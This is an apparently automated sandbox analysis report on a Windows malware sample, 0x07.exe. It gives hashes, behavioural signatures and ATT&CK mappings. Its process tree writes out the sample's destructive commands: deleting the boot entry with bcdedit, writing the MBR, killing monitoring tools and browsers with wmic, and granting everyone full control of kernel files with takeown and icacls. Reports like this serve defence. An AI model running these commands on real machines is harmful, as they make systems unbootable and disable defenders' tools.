52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb

Analysis

max time kernel
99s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/05/2026, 10:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
0x07.exe
Size 247KB
Sample260523-mbkhvsav7x
SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
MD5 733eb0ab951ae42a8d8cca413201e428
SHA1 640ffb3ee44eb86afaea92e6c5aa158a5d4aafd1
SHA512 c7cdf77aa881c5dbb2abf17913dbf645fe88e16fa11fa055392d36ccf936fc43050c48feb631e193fe044123a190f123d2d6ff12234c0ff7c8c7c6e290209d8f
SSDEEP 3072:xaWEHnqlm+0FEaJSq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMC+89+aPyXiwQ9M1:cWCMm8aMldk1cWQRNTBhz3Yz/qc9M1
TLSH
T18944AF0273E144B6F5F3063208B6961A977EFE2557309DCBE38C294A5A726C05B363F6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion discovery exploit persistence

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 25 IoCs

exploit

pid	Process
2692	icacls.exe
4472	icacls.exe
2148	icacls.exe
3868	icacls.exe
2824	takeown.exe
3604	takeown.exe
684	takeown.exe
4032	icacls.exe
4492	icacls.exe
3724	icacls.exe
1848	icacls.exe
400	icacls.exe
3256	takeown.exe
1576	takeown.exe
3440	takeown.exe
3224	takeown.exe
1056	takeown.exe
3896	takeown.exe
1652	icacls.exe
4364	takeown.exe
4876	icacls.exe
3608	icacls.exe
2664	takeown.exe
3352	takeown.exe
3200	takeown.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	0x07.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	winconfig.exe

Executes dropped EXE 2 IoCs

pid	Process
2900	winconfig.exe
4400	DetectKey.exe

Modifies file permissions 1 TTPs 25 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2148	icacls.exe
3724	icacls.exe
4876	icacls.exe
3224	takeown.exe
3256	takeown.exe
2692	icacls.exe
4492	icacls.exe
3868	icacls.exe
400	icacls.exe
3604	takeown.exe
3200	takeown.exe
4032	icacls.exe
1576	takeown.exe
2824	takeown.exe
3440	takeown.exe
4364	takeown.exe
684	takeown.exe
3608	icacls.exe
1652	icacls.exe
1848	icacls.exe
2664	takeown.exe
1056	takeown.exe
3352	takeown.exe
3896	takeown.exe
4472	icacls.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
228	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	0x07.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DetectKey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0x07.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winconfig.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1176	0x07.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3932	WMIC.exe
Token: SeSecurityPrivilege	3932	WMIC.exe
Token: SeTakeOwnershipPrivilege	3932	WMIC.exe
Token: SeLoadDriverPrivilege	3932	WMIC.exe
Token: SeSystemProfilePrivilege	3932	WMIC.exe
Token: SeSystemtimePrivilege	3932	WMIC.exe
Token: SeProfSingleProcessPrivilege	3932	WMIC.exe
Token: SeIncBasePriorityPrivilege	3932	WMIC.exe
Token: SeCreatePagefilePrivilege	3932	WMIC.exe
Token: SeBackupPrivilege	3932	WMIC.exe
Token: SeRestorePrivilege	3932	WMIC.exe
Token: SeShutdownPrivilege	3932	WMIC.exe
Token: SeDebugPrivilege	3932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3932	WMIC.exe
Token: SeRemoteShutdownPrivilege	3932	WMIC.exe
Token: SeUndockPrivilege	3932	WMIC.exe
Token: SeManageVolumePrivilege	3932	WMIC.exe
Token: 33	3932	WMIC.exe
Token: 34	3932	WMIC.exe
Token: 35	3932	WMIC.exe
Token: 36	3932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3932	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1176 wrote to memory of 2900	1176	0x07.exe	89
PID 2900 wrote to memory of 1312	2900	winconfig.exe	90
PID 1312 wrote to memory of 4400	1312	cmd.exe	93
PID 1312 wrote to memory of 228	1312	cmd.exe	94
PID 1312 wrote to memory of 5000	1312	cmd.exe	96
PID 1312 wrote to memory of 3932	1312	cmd.exe	98
PID 1312 wrote to memory of 1792	1312	cmd.exe	99
PID 1312 wrote to memory of 1568	1312	cmd.exe	100
PID 1312 wrote to memory of 2252	1312	cmd.exe	125
PID 1312 wrote to memory of 5016	1312	cmd.exe	102
PID 1312 wrote to memory of 968	1312	cmd.exe	103
PID 1312 wrote to memory of 4012	1312	cmd.exe	104
PID 1312 wrote to memory of 2664	1312	cmd.exe	129
PID 1312 wrote to memory of 1776	1312	cmd.exe	108
PID 1312 wrote to memory of 1764	1312	cmd.exe	109
PID 1312 wrote to memory of 3352	1312	cmd.exe	138
PID 1312 wrote to memory of 4776	1312	cmd.exe	112
PID 1312 wrote to memory of 2852	1312	cmd.exe	113
PID 1312 wrote to memory of 1612	1312	cmd.exe	114
PID 1312 wrote to memory of 2964	1312	cmd.exe	115
PID 1312 wrote to memory of 2624	1312	cmd.exe	116
PID 1312 wrote to memory of 4472	1312	cmd.exe	148
PID 1312 wrote to memory of 4888	1312	cmd.exe	119
PID 1312 wrote to memory of 3700	1312	cmd.exe	120
PID 1312 wrote to memory of 2020	1312	cmd.exe	121
PID 1312 wrote to memory of 4876	1312	cmd.exe	157
PID 1312 wrote to memory of 4980	1312	cmd.exe	123
PID 1312 wrote to memory of 812	1312	cmd.exe	124
PID 1312 wrote to memory of 2252	1312	cmd.exe	125
PID 1312 wrote to memory of 876	1312	cmd.exe	162
PID 1312 wrote to memory of 4328	1312	cmd.exe	127
PID 1312 wrote to memory of 4004	1312	cmd.exe	128
PID 1312 wrote to memory of 2664	1312	cmd.exe	129
PID 1312 wrote to memory of 1576	1312	cmd.exe	130
PID 1312 wrote to memory of 1056	1312	cmd.exe	131
PID 1312 wrote to memory of 2824	1312	cmd.exe	132
PID 1312 wrote to memory of 3440	1312	cmd.exe	133
PID 1312 wrote to memory of 3224	1312	cmd.exe	134
PID 1312 wrote to memory of 3604	1312	cmd.exe	135
PID 1312 wrote to memory of 4364	1312	cmd.exe	136
PID 1312 wrote to memory of 684	1312	cmd.exe	137
PID 1312 wrote to memory of 3352	1312	cmd.exe	138
PID 1312 wrote to memory of 3200	1312	cmd.exe	139
PID 1312 wrote to memory of 3896	1312	cmd.exe	140
PID 1312 wrote to memory of 3256	1312	cmd.exe	141
PID 1312 wrote to memory of 3140	1312	cmd.exe	142
PID 1312 wrote to memory of 1724	1312	cmd.exe	143
PID 1312 wrote to memory of 3924	1312	cmd.exe	144
PID 1312 wrote to memory of 872	1312	cmd.exe	145
PID 1312 wrote to memory of 3608	1312	cmd.exe	146
PID 1312 wrote to memory of 2692	1312	cmd.exe	147
PID 1312 wrote to memory of 4472	1312	cmd.exe	148
PID 1312 wrote to memory of 4032	1312	cmd.exe	149
PID 1312 wrote to memory of 2148	1312	cmd.exe	151
PID 1312 wrote to memory of 4492	1312	cmd.exe	152
PID 1312 wrote to memory of 3868	1312	cmd.exe	153
PID 1312 wrote to memory of 3724	1312	cmd.exe	154
PID 1312 wrote to memory of 1848	1312	cmd.exe	155
PID 1312 wrote to memory of 1652	1312	cmd.exe	156
PID 1312 wrote to memory of 4876	1312	cmd.exe	157
PID 1312 wrote to memory of 400	1312	cmd.exe	158
PID 1312 wrote to memory of 3956	1312	cmd.exe	160
PID 1312 wrote to memory of 2252	1312	cmd.exe	161
PID 1312 wrote to memory of 876	1312	cmd.exe	162

C:\Users\Admin\AppData\Local\Temp\0x07.exe
"C:\Users\Admin\AppData\Local\Temp\0x07.exe"
1⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\Temp\winconfig.exe
  "C:\Windows\Temp\winconfig.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7059.tmp\705A.tmp\705B.bat C:\Windows\Temp\winconfig.exe"
    3⤵
    - Drops file in Drivers directory
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Users\Admin\AppData\Roaming\DetectKey.exe
      "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4400
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:228
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5000
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3932
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='mmc.exe' delete /nointeractive
      4⤵
      PID:1792
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='PartAssist.exe' delete /nointeractive
      4⤵
      PID:1568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='control.exe' delete /nointeractive
      4⤵
      PID:2252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:5016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='Security Task Manager.exe' delete /nointeractive
      4⤵
      PID:968
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
      4⤵
      PID:4012
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='CCleaner.exe' delete /nointeractive
      4⤵
      PID:2664
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp.exe' delete /nointeractive
      4⤵
      PID:1776
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp64.exe' delete /nointeractive
      4⤵
      PID:1764
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp64a.exe' delete /nointeractive
      4⤵
      PID:3352
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:4776
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='regedit.exe' delete /nointeractive
      4⤵
      PID:2852
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='iexplore.exe' delete /nointeractive
      4⤵
      PID:1612
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='chrome.exe' delete /nointeractive
      4⤵
      PID:2964
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='firefox.exe' delete /nointeractive
      4⤵
      PID:2624
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='opera.exe' delete /nointeractive
      4⤵
      PID:4472
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='edge.exe' delete /nointeractive
      4⤵
      PID:4888
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='msedge.exe' delete /nointeractive
      4⤵
      PID:3700
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='brave.exe' delete /nointeractive
      4⤵
      PID:2020
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='wmplayer.exe' delete /nointeractive
      4⤵
      PID:4876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='notepad.exe' delete /nointeractive
      4⤵
      PID:4980
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='notepad++.exe' delete /nointeractive
      4⤵
      PID:812
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:2252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:4328
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:4004
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\taskmgr.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2664
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1576
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\winload.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1056
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\ntoskrnl.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2824
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\perfmon.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3440
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\resmon.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3224
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\logonui.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3604
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\taskkill.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4364
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\tasklist.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:684
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\tskill.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3352
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\logonui.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3200
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Program Files\Process Hacker 2"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3896
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3256
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:3140
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:1724
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:3924
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3608
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4472
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2148
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3724
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:400
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:3956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:2252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:2476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4152
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
      4⤵
      PID:3696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:2664
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
      4⤵
      PID:4744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3832
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
      4⤵
      PID:1776
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:1056
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
      4⤵
      PID:3348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3224
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
      4⤵
      PID:1980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4364
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
      4⤵
      PID:1300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:1156
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
      4⤵
      PID:4780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:1756
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
      4⤵
      PID:3896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4624
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
      4⤵
      PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3180
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
      4⤵
      PID:3140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3684
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\System32\drivers" /grant "everyone":F
      4⤵
      PID:3592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

705B.bat

Path C:\Users\Admin\AppData\Local\Temp\7059.tmp\705A.tmp\705B.bat
Size 5KB
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d
SSDEEP 96:Pk3/dXD/yNJon3/fnpEsUF26M/80UpY+SMMJ5zh07zfDR3SJN:W/lD/yNJon3/fnpEsUF26M/80UpY+SMo
TLSH
T1F1B13D90CE6F067040A05879E24F30625F6AF01922EA64A024D4F695EF4941DDEEDFFF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DetectKey.exe

Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
Size 87KB
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675
SSDEEP 1536:rnuU/W+3r/A/rkhMmnXPfE2SDcAzqsWjcduqZts:aUJ3s/whM52SNZuqZts
TLSH
T10E936C1376D080B1E5B7067608B8DA405A7FFDA24F718D973788228F1A751D09F7ABA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

winconfig.exe

Path C:\Windows\Temp\winconfig.exe
Size 139KB
SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
MD5 11d457ee914f72a436fa4a8a8f8446dd
SHA1 d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA512 4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b
SSDEEP 3072:tq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMCE:tldk1cWQRNTBhz3YO
TLSH
T1E0D3BF85F3E201F7EAF6097100A6662FE73966245724D8DBC34C3C929653AC59A3D3F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2900-8-0x0000000000417000-0x0000000000418000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads